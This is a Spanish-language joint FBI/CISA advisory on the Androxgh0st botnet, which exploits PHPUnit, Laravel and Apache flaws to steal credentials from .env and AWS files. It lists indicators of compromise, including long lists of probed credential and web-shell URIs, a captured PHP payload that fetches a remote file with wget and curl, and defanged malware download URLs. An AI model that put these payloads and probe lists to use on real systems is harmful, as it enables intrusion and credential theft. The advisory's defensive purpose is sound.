AVISO CONJUNTO
SOBRE
CIBERSEGURIDAD

*Elaborado en conjunto por:*

TLP:CLEAR

Identificación del producto: AA24-016A

16 de enero de 2024

# Indicadores de riesgo conocidos que se asocian con el malware Androxgh0st

## RESUMEN

La Oficina Federal de Investigaciones (FBI, por sus siglas en inglés) y la Agencia de Ciberseguridad y Seguridad de Infraestructura (CISA, por sus siglas en inglés) publican este aviso conjunto sobre ciberseguridad (CSA, por sus siglas en inglés) para difundir los indicadores de riesgo (IOC, por sus siglas en inglés) conocidos y las tácticas, las técnicas y los procedimientos (TTP, por sus siglas en inglés) asociados con los agentes de amenazas que implementan el malware Androxgh0st. Múltiples investigaciones en curso e informes externos confiables dieron como resultado los IOC y las TTP, así como proporcionaron información sobre la capacidad del malware Androxgh0st para establecer una botnet que puede identificar y poner en riesgo aún más a las redes vulnerables.

**Medidas que se deben tomar hoy mismo para mitigar la actividad cibernética maliciosa:**

- Priorice la corrección de vulnerabilidades explotadas conocidas en sistemas conectados a Internet.
- Revise y garantice que solo los servidores y servicios necesarios estén expuestos a Internet.
- Revise las plataformas o los servicios que tengan credenciales que figuren en archivos `.env` en busca de accesos o usos no autorizados.

La FBI y la CISA exhortan a las organizaciones a implementar las recomendaciones en la sección "Medidas de mitigación" de este CSA para reducir la probabilidad y el impacto de los incidentes de ciberseguridad que causan las infecciones de Androxgh0st.

Para obtener una copia descargable de los IOC, consulte los siguientes sitios:

- AA24-016A (STIX XML, 46 KB)
- AA24-016A (STIX JSON, 40 KB)

## INFORMACIÓN TÉCNICA

**Nota:** Este aviso utiliza el marco MITRE ATT&CK® para entornos empresariales, versión 14. Consulte la sección "Tácticas y técnicas de MITRE ATT&CK" para acceder a una tabla de la actividad de los agentes de amenazas asignada a las tácticas y técnicas de MITRE ATT&CK con las correspondientes recomendaciones para la mitigación o la detección.

---

*Para denunciar actividades sospechosas o delictivas relacionadas con la información que se encuentra en este aviso conjunto sobre ciberseguridad, comuníquese con la oficina local de la FBI en fbi.gov/contact-us/field-offices. Si es posible, incluya la siguiente información sobre el incidente: la fecha, la hora y la ubicación del incidente; el tipo de actividad; la cantidad de personas afectadas; el tipo de equipo utilizado para la actividad; el nombre de la empresa u organización que presenta la denuncia; y un punto de contacto designado. Para solicitar recursos de respuesta a incidentes o asistencia técnica en relación con estas amenazas, comuníquese con la CISA a través de report@cisa.dhs.gov.*

Para obtener asistencia con la asignación de las actividades cibernéticas maliciosas al marco MITRE ATT&CK, consulte las prácticas recomendadas para la asignación de MITRE ATT&CK de la CISA y MITRE ATT&CK, y la herramienta Decider de la CISA.

## Descripción general

Se ha observado que el malware Androxgh0st establece una botnet [T1583.005] para la identificación y explotación de víctimas en redes objetivo. Según informes de código abierto[1], Androxgh0st es un malware escrito en Python [T1059.006] que se utiliza principalmente para atacar archivos `.env` que contienen información confidencial, como credenciales [T1552.001] de diversas aplicaciones de alto perfil (p. ej., Amazon Web Services [AWS], Microsoft Office 365, SendGrid y Twilio desde el marco de aplicaciones web Laravel). El malware Androxgh0st también admite varias funciones que pueden hacer mal uso del protocolo simple de transferencia de correo (SMTP, por sus siglas en inglés), como analizar [T1046] y explotar credenciales expuestas [T1078] e interfaces de programación de aplicaciones (API, por sus siglas en inglés) [T1114], e implementar web shells [T1505.003].

## Ataque a PHPUnit

Las TTP del malware Androxgh0st suelen involucrar el uso de scripts, la realización de análisis [T1595] y la búsqueda de páginas web con vulnerabilidades específicas. En particular, se ha observado que los agentes de amenazas que implementan Androxgh0st explotan la vulnerabilidad CVE-2017-9841 para ejecutar de manera remota códigos de preprocesador de hipertexto (PHP, por sus siglas en inglés) en páginas web falibles a través de PHPUnit [T1190]. Las páginas web que utilizan el módulo de PHPUnit y que tienen carpetas `/vendor` a las que se puede acceder desde Internet (expuestas) son objeto de solicitudes maliciosas `HTTP POST` al identificador de recursos uniforme (URI, por sus siglas en inglés) `/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`. Esta página PHP ejecuta códigos PHP enviados a través de una solicitud POST, lo que permite que los agentes de amenazas ejecuten los códigos de forma remota.

Es probable que los agentes maliciosos utilicen Androxgh0st para descargar archivos maliciosos [T1105] al sistema que aloja la página web. Los agentes de amenazas también pueden configurar una página falsa (ilegítima), a la que se puede acceder a través del URI para proporcionar acceso de puerta trasera a la página web. Esto les permite a los agentes de amenazas que descarguen archivos maliciosos adicionales para sus operaciones y que accedan a bases de datos.

## Ataque al marco Laravel

El malware Androxgh0st establece una botnet para buscar páginas web que utilizan el marco de aplicaciones web Laravel. Después de identificar páginas web que utilizan la aplicación web Laravel, los agentes de amenazas intentan decidir si el archivo `.env` en el nivel raíz del dominio está expuesto y contiene credenciales para acceder a servicios adicionales. **Nota:** Los archivos `.env` suelen almacenar credenciales y tokens. Los agentes de amenazas a menudo atacan los archivos `.env` para robar estas credenciales dentro de las variables del entorno.

Si el archivo `.env` está expuesto, los agentes de amenazas emitirán una solicitud GET al URI `/.env` para intentar acceder a los datos de la página. Androxgh0st también puede emitir una solicitud POST al mismo URI con una variable POST denominada `0x[]` que contenga ciertos datos enviados al servidor web. Estos datos se utilizan con frecuencia como identificador del agente de amenazas. Este método parece usarse para páginas web en modo de depuración (p. ej., cuando las páginas que no son de producción se exponen a la Internet). Una respuesta exitosa de cualquiera de estos métodos permite a los agentes de amenazas buscar nombres de usuario, contraseñas u otras credenciales que se relacionan con ciertos servicios, como cuentas de correo electrónico (a través del SMTP) y AWS.

El malware Androxgh0st también puede acceder a la clave de aplicación [TA0006] de Laravel en la página web. Si los agentes de amenazas identifican con éxito la clave de aplicación de Laravel, intentarán explotarla utilizando la clave para cifrar el código PHP [T1027.010]. Luego, el código cifrado se transmite a la página web como un valor en la cookie del token de falsificación de solicitud entre sitios (XSRF, por sus siglas en inglés), `XSRF-TOKEN`, y se incluye en una futura solicitud GET a la página web. La vulnerabilidad definida en CVE-2018-15133 indica que, en las aplicaciones Laravel, los valores del token XSRF son objeto de una llamada no serializada, lo que puede permitir la ejecución remota de códigos. Al hacerlo, los agentes de amenazas pueden subir archivos a la página web por acceso remoto.

### Ataque al servidor web Apache

En relación con la vulnerabilidad CVE-2021-41773, se ha observado que los agentes de Androxgh0st analizan servidores web vulnerables [T1595.002] que ejecutan las versiones 2.4.49 o 2.4.50 del servidor HTTP Apache. Los agentes de amenazas pueden identificar los localizadores uniformes de recursos (URL, por sus siglas en inglés) de archivos fuera del directorio raíz a través de un ataque de cruce de directorio [T1083]. Si estos archivos no cuentan con la protección de la configuración “denegación de todas las solicitudes” y se habilitan los scripts de la interfaz de entrada común (CGI, por sus siglas en inglés), se puede permitir la ejecución remota de códigos.

Si los agentes de amenazas obtienen las credenciales de cualquier servicio utilizando los métodos mencionados anteriormente, pueden usar estas credenciales para acceder a datos confidenciales o usar estos servicios para llevar a cabo otras operaciones maliciosas. Por ejemplo, cuando los agentes de amenazas identifican y ponen en riesgo las credenciales de AWS de una página web vulnerable con éxito, se ha observado que intentan crear nuevos usuarios y políticas de usuario [T1136]. Además, se ha observado que los agentes de Andoxgh0st crean nuevas instancias de AWS a fin de utilizarlas para llevar a cabo más actividades de análisis [T1583.006].

## INDICADORES DE RIESGO (IOC)

Según investigaciones y análisis, las siguientes solicitudes se asocian con actividad de Androxgh0st:

- Solicitudes GET y POST entrantes a los siguientes URI:
  - `/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`
  - `/.env`
- Solicitudes POST entrantes con las siguientes cadenas:
  - `[0x%5B%5D=androxgh0st]`
  - `ImmutableMultiDict([('0x[]', 'androxgh0st')])`

En las dos cadenas de solicitudes POST indicadas anteriormente, se ha observado que el nombre `androxgh0st` se reemplaza con otras denominaciones.

Entre los URI adicionales que observaron la FBI y un tercero confiable que estos agentes de amenazas utilizan para la exfiltración de credenciales, se incluyen los siguientes:

- `/info`
- `/phpinfo`
- `/phpinfo.php`
- `/?phpinfo=1`
- `/frontend_dev.php/$`
- `/_profiler/phpinfo`

- `/debug/default/view?panel=config`
- `/config.json`
- `/.json`
- `/.git/config`
- `/live_env`
- `/.env.dist`
- `/.env.save`
- `/environments/.env.production`
- `/.env.production.local`
- `/.env.project`
- `/.env.development`
- `/.env.production`
- `/.env.prod`
- `/.env.development.local`
- `/.env.old`
- `/<insert-directory>/.env`
  - **Nota:** El agente puede intentar varios posibles puntos de conexión de URI diferentes en busca del archivo `.env`, por ejemplo, `/docker/.env o /local/.env`.
- `/.aws/credentials`
- `/aws/credentials`
- `/.aws/config`
- `/.git`
- `/.test`
- `/admin`
- `/backend`
- `/app`
- `/current`
- `/demo`
- `/api`
- `/backup`
- `/beta`
- `/cron`
- `/develop`
- `/Laravel`
- `/laravel/core`
- `/gists/cache`
- `/test.php`
- `/info.php`
- `//.env`
- `/admin-app/.env%20`

- /laravel/.env%20
- /shared/.env%20
- /.env.project%20
- /apps/.env%20
- /development/.env%20
- /live_env%20
- /.env.development%20

**URI objetivo para la implementación de web shells:**

- /.env/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
- //lib/phpunit/src/Util/PHP/eval-stdin.php
- //lib/phpunit/Util/PHP/eval-stdin.php
- //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //phpunit/phpunit/Util/PHP/eval-stdin.php
- //phpunit/src/Util/PHP/eval-stdin.php
- //phpunit/Util/PHP/eval-stdin.php
- //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/evalstd in.php
- //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
- //vendor/phpunit/src/Util/PHP/eval-stdin.php
- //vendor/phpunit/Util/PHP/eval-stdin.php
- //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

- //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /admin/ckeditor/plugins/ajaxplorer/phpunit/src/Util/PHP/eval-stdin.php
- /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /api/vendor/phpunit/phpunit/src/Util/PHP/Template/eval-stdin.php
- /lab/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /laravel_web/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /laravelao/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /lib/phpunit/phpunit/Util/PHP/eval-stdin.php
- /lib/phpunit/phpunit/Util/PHP/eval stdin.php%20/lib/phpunit/src/Util/PHP/eval-stdin.php
- /lib/phpunit/src/Util/PHP/eval-stdin.php
- /lib/phpunit/Util/PHP/eval-stdin.php
- /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /libraries/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /phpunit/phpunit/Util/PHP/eval-stdin.php
- /phpunit/phpunit/Util/PHP/eval-stdin.php%20/phpunit/src/Util/PHP/evalstdin.php
- /phpunit/src/Util/PHP/eval-stdin.php
- ./phpunit/Util/PHP/eval-stdin.php
- /phpunit/Util/PHP/eval-stdin.php%20/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php.dev
- /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
- /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php%20/vendor/phpunit/src/Util/PHP/eval-stdin.php
- /vendor/phpunit/src/Util/PHP/eval-stdin.php
- /vendor/phpunit/Util/PHP/eval-stdin.php
- /vendor/phpunit/Util/PHP/eval-stdin.php%20
- /phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

**Ejemplo de intento de exfiltración de credenciales a través de proxies abiertos (sistema honeypot):**

```
POST /.aws/credentials HTTP/1.1
host: www.example.com
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/81.0.4044.129 Safari/537.36
accept-encoding: gzip, deflate
accept: */*
connection: keep-alive
content-length: 20
content-type: application/x-www-form-urlencoded

0x%5B%5D=androxgh0st
```

**Ejemplo de intento de implementación de web shells a través de proxies abiertos (sistema honeypot):**

```
GET http://www.example.com/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
HTTP/1.1
host: www.example.com
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.76
accept-encoding: gzip, deflate
accept: */*
connection: keep-alive
x-forwarded-for: 200.172.238.135
content-length: 279

<?php
file_put_contents('evil.php',file_get_contents('hxxps://mc.rockylinux[.]si/seofor
ce/triggers/files/evil.txt')); system('wget
hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php;curl
hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php'); ?>
```

**Denominaciones utilizadas en lugar de "Androxgh0st" (0x%5B%5D=???):**

- Ridho
- Aws
- 0x_0x
- x_X
- nopebee7
- SMTPEX
- evileyes0
- privangga
- drcrypter
- errorcool
- drosteam
- androxmen
- crack3rz

- b4bbyghost
- 0x0day
- janc0xsec
- blackb0x
- 0x1331day
- Graber

**Ejemplos de implementaciones de malware a través de eval-stdin.php:**

hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt
59e90be75e51c86b4b9b69dcede2cf815da5a79f7e05cac27c95ec35294151f4

hxxps://chainventures.co[.]uk/.well-known/aas
dcf8f640dd7cc27d2399cce96b1cf4b75e3b9f2dfdf19cee0a170e5a6d2ce6b6

hxxp://download.asyncfox[.]xyz/download/xmrig.x86_64
23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066

hxxps://pastebin[.]com/raw/zw0gAmpC
ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72

hxxp://raw.githubusercontent[.]com/0x5a455553/MARIJUANA/master/MARIJUANA.php
0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef

hxxp://45.95.147[.]236/tmp.x86_64
6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc

hxxp://main.dsn[.]ovh/dns/pwer
bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7

hxxp://tangible-drink.surge[.]sh/configx.txt
de1114a09cbab5ae9c1011ddd11719f15087cc29c8303da2e71d861b0594a1ba

**Administradores de archivos genéricos implementados a través de eval-stdin.php**

hxxps://github[.]com/alexantr/filemanager
hxxps://github[.]com/prasathmani/tinyfilemanager

## TÁCTICAS Y TÉCNICAS DE MITRE ATT&CK

Consulte las tablas 1-10 para conocer todas las tácticas y técnicas de agentes de amenazas a las que se hace referencia en este aviso.

*Tabla 1: Reconocimiento*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Análisis activo: análisis de vulnerabilidades | T1595.002 | El agente de amenazas analiza páginas web en busca de vulnerabilidades específicas para explotar. |

*Tabla 2: Desarrollo de recursos*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Adquisición de infraestructura: botnet | T1583.005 | El agente de amenazas establece una botnet para identificar y explotar víctimas. |
| Adquisición de infraestructura: servicios web | T1583.006 | El agente de amenazas crea nuevas instancias de AWS a fin de usarlas para el análisis. |

*Tabla 3: Acceso inicial*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Explotación de aplicaciones públicas | T1190 | El agente de amenazas explota la vulnerabilidad CVE-2017-9841 para ejecutar códigos de preprocesador de hipertexto (PHP) de forma remota en páginas web a través de PHPUnit. |

*Tabla 4: Ejecución*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Intérprete de comandos y scripts: Python | T1059.006 | El agente de amenazas utiliza Androxgh0st, un malware escrito en Python, para atacar los archivos de las víctimas. |

*Tabla 5: Persistencia*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Cuentas válidas | T1078 | El agente de amenazas hace mal uso del protocolo simple de transferencia de correo (SMTP) y explota las credenciales expuestas. |
| Componente de software de servidor: Web Shell | T1505.003 | El agente de amenazas implementa web shells para mantener un acceso persistente a los sistemas. |
| Creación de cuenta | T1136 | El agente de amenazas intenta crear nuevos usuarios y políticas de usuario con credenciales de AWS puestas en riesgo desde una página web vulnerable. |

*Tabla 6: Evasión de defensa*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Información o archivos ofuscados: ofuscación de comandos | T1027.010 | El agente de amenazas puede explotar una clave de aplicación de Laravel identificada con éxito para cifrar código PHP, que luego se transmite al sitio como un valor en la cookie del XSRF-TOKEN. |

*Tabla 7: Acceso a credenciales*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Acceso a credenciales | TA0006 | El agente de amenazas puede acceder a la clave de aplicación de Laravel en el sitio. |
| Credenciales sin protección: credenciales en archivos | T1552.001 | El agente de amenazas ataca archivos `.env` que contienen información confidencial de credenciales. |

*Tabla 8: Descubrimiento*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Descubrimiento de archivos y directorios | T1083 | El agente de amenazas puede identificar URL de archivos fuera del directorio raíz a través de un ataque de cruce de directorio. |

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Descubrimiento de servicios de red | T1046 | El agente de amenazas utiliza Androxgh0st para hacer mal uso del protocolo simple de transferencia de correo (SMTP) mediante el análisis. |

*Tabla 9: Recopilación*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Recopilación de correos electrónicos | T1114 | El agente de amenazas interactúa con interfaces de programación de aplicaciones (API) para recopilar información. |

*Tabla 10: Comando y control*

| Título de la técnica | Identificación | Uso |
|---|---|---|
| Transferencia de herramientas de ingreso | T1105 | El agente de amenazas ejecuta códigos PHP mediante una solicitud POST para descargar archivos maliciosos al sistema que aloja la página web. |

## MEDIDAS DE MITIGACIÓN

La FBI y la CISA recomiendan implementar las siguientes medidas de mitigación para mejorar la postura de ciberseguridad de su organización en función de la actividad del agente de amenazas de Androxgh0st. Estas medidas se alinean con los Objetivos de Desempeño de Ciberseguridad (CPG, por sus siglas en inglés) Intersectoriales desarrollados por la CISA y el Instituto Nacional de Estándares y Tecnología (NIST, por sus siglas en inglés). Los CPG proporcionan un conjunto mínimo de prácticas y protecciones que la CISA y el NIST recomiendan que todas las organizaciones implementen. La CISA y el NIST basaron los CPG en marcos y orientación de ciberseguridad establecidos para brindar protección contra las amenazas, las tácticas, las técnicas y los procedimientos más comunes e impactantes. Consulte los Objetivos de Desempeño de Ciberseguridad Intersectoriales de la CISA para obtener más información sobre los CPG, incluidas las protecciones de referencia adicionales que se recomiendan.

Estas medidas de mitigación se aplican a todas las organizaciones de infraestructura fundamental y los defensores de redes. La FBI y la CISA recomiendan que los fabricantes de software incorporen principios y tácticas de “seguridad desde el diseño” en sus prácticas de desarrollo de software, lo que limita el impacto de las técnicas de los agentes y fortalece la postura de seguridad de sus clientes. Para obtener más información sobre el concepto “seguridad desde el diseño”, consulte la página web Seguridad desde el diseño de la CISA.

La FBI y la CISA recomiendan que los defensores de redes apliquen las siguientes medidas de mitigación para limitar el posible uso adverso de técnicas comunes de descubrimiento de sistemas y redes, así como para reducir el peligro de puesta en riesgo por parte de los agentes que utilizan el malware Androxgh0st.

- **Mantenga actualizados todos los sistemas operativos, softwares y firmwares. En concreto, asegúrese de que los servidores Apache no estén ejecutando las versiones 2.4.49 o 2.4.50.** La corrección oportuna es una de las medidas más eficientes y rentables que una organización puede

tomar para minimizar su exposición a las amenazas de ciberseguridad. Priorice la corrección de vulnerabilidades explotadas conocidas en sistemas conectados a Internet.

- **Verifique que la configuración predeterminada de todos los URI sea denegar todas las solicitudes,** a menos que exista la necesidad específica de que sean accesibles.
- **Asegúrese de que las aplicaciones Laravel activas no estén en modo de "depuración" o de prueba. Quite todas las credenciales de la nube de los archivos `.env` y anúlelas. Todos los proveedores de la nube tienen formas más seguras de proporcionar credenciales provisionales alternadas con frecuencia para los códigos que se ejecutan dentro de un servidor web sin almacenarlas en ningún archivo.**
- **Revise las plataformas o los servicios que tengan credenciales que figuren en el archivo `.env` en busca de accesos o usos no autorizados. Hágalo solo una vez en el caso de las credenciales de la nube almacenadas previamente y de forma continua en el caso de otros tipos de credenciales que no se puedan quitar.**
- **Analice el sistema de archivos del servidor en busca de archivos PHP no reconocidos**, sobre todo en el directorio raíz o en la carpeta `/vendor/phpunit/phpunit/src/Util/PHP`.
- **Revise las solicitudes GET salientes (mediante el comando cURL) a sitios de alojamiento de archivos,** como GitHub, pastebin, etc., sobre todo si la solicitud accede a un archivo `.php`.

## VALIDAR LOS CONTROLES DE SEGURIDAD

Además de aplicar las medidas de mitigación, la FBI y la CISA recomiendan ejecutar, probar y validar el programa de seguridad de su organización frente a los comportamientos de amenazas asignados al marco MITRE ATT&CK para entornos empresariales que figuran en este aviso. Las agencias autoras recomiendan que pruebe su inventario establecido de controles de seguridad para evaluar cómo se desempeñan frente a las técnicas de ATT&CK descritas en este aviso.

Para empezar:

1. Seleccione una de las técnicas de ATT&CK descritas en este aviso (consulte las tablas 1-10).
2. Alinee sus tecnologías de seguridad con la técnica.
3. Pruebe sus tecnologías frente a la técnica.
4. Analice el desempeño de sus tecnologías de detección y prevención.
5. Repita el proceso para todas las tecnologías de seguridad a fin de obtener un conjunto de datos completos sobre el desempeño.
6. Ajuste su programa de seguridad, lo que incluye a las personas, los procesos y las tecnologías, en función de los datos que se generaron en este proceso.

La FBI y la CISA recomiendan probar su programa de seguridad de forma continua, a escala, en un entorno de producción para garantizar un desempeño óptimo frente a las técnicas de MITRE ATT&CK identificadas en este aviso.

## DENUNCIAS

La FBI exhorta a las organizaciones a comunicar información sobre actividades sospechosas o delictivas a la oficina local de la FBI. Con respecto a la información específica que aparece en este CSA, los indicadores siempre deben evaluarse teniendo en cuenta la situación de seguridad completa de una organización.

Si es posible, cada denuncia presentada debe incluir la fecha, la hora, la ubicación, el tipo de actividad, la cantidad de personas y el tipo de equipo utilizado para la actividad, el nombre de la empresa u organización que presenta la denuncia y un punto de contacto designado. Las denuncias pueden presentarse al Centro de Denuncias de Delitos en Internet (IC3, por sus siglas en inglés) de la FBI, a una oficina local de la FBI, o bien, a la CISA a través de su Sistema de Denuncia de Incidentes o su Centro de Operaciones disponible las 24 horas, los 7 días de la semana, escribiendo un correo electrónico a report@cisa.gov o llamando al (888) 282-0870.

## RECURSOS

- CISA: Catálogo de vulnerabilidades explotadas conocidas
- CISA, MITRE: Prácticas recomendadas para la asignación de MITRE ATT&CK
- CISA: Herramienta Decider
- NIST: CVE-2017-9841
- NIST: CVE-2018-15133
- NIST: CVE-2021-41773
- CISA: Objetivos de Desempeño de Ciberseguridad Intersectoriales
- CISA: Seguridad desde el diseño

## REFERENCIAS

[1] Fortinet - FortiGuard Labs: Threat Signal Report: AndroxGh0st Malware Actively Used in the Wild

## AGRADECIMIENTOS

Amazon contribuyó a este CSA.

## DESCARGO DE RESPONSABILIDAD

La información contenida en este informe se proporciona “tal cual” solo con fines informativos. La FBI y la CISA no promocionan a ninguna entidad comercial, producto, empresa o servicio, incluidas las entidades, los productos o los servicios vinculados en este documento. Cualquier referencia a entidades comerciales, productos, procesos o servicios específicos mediante marcas de servicio, marcas registradas, fabricantes, o de otro modo, no constituye ni implica la promoción, la recomendación ni la preferencia por parte de la FBI y la CISA.

## HISTORIAL DE VERSIONES

16 de enero de 2024: versión inicial.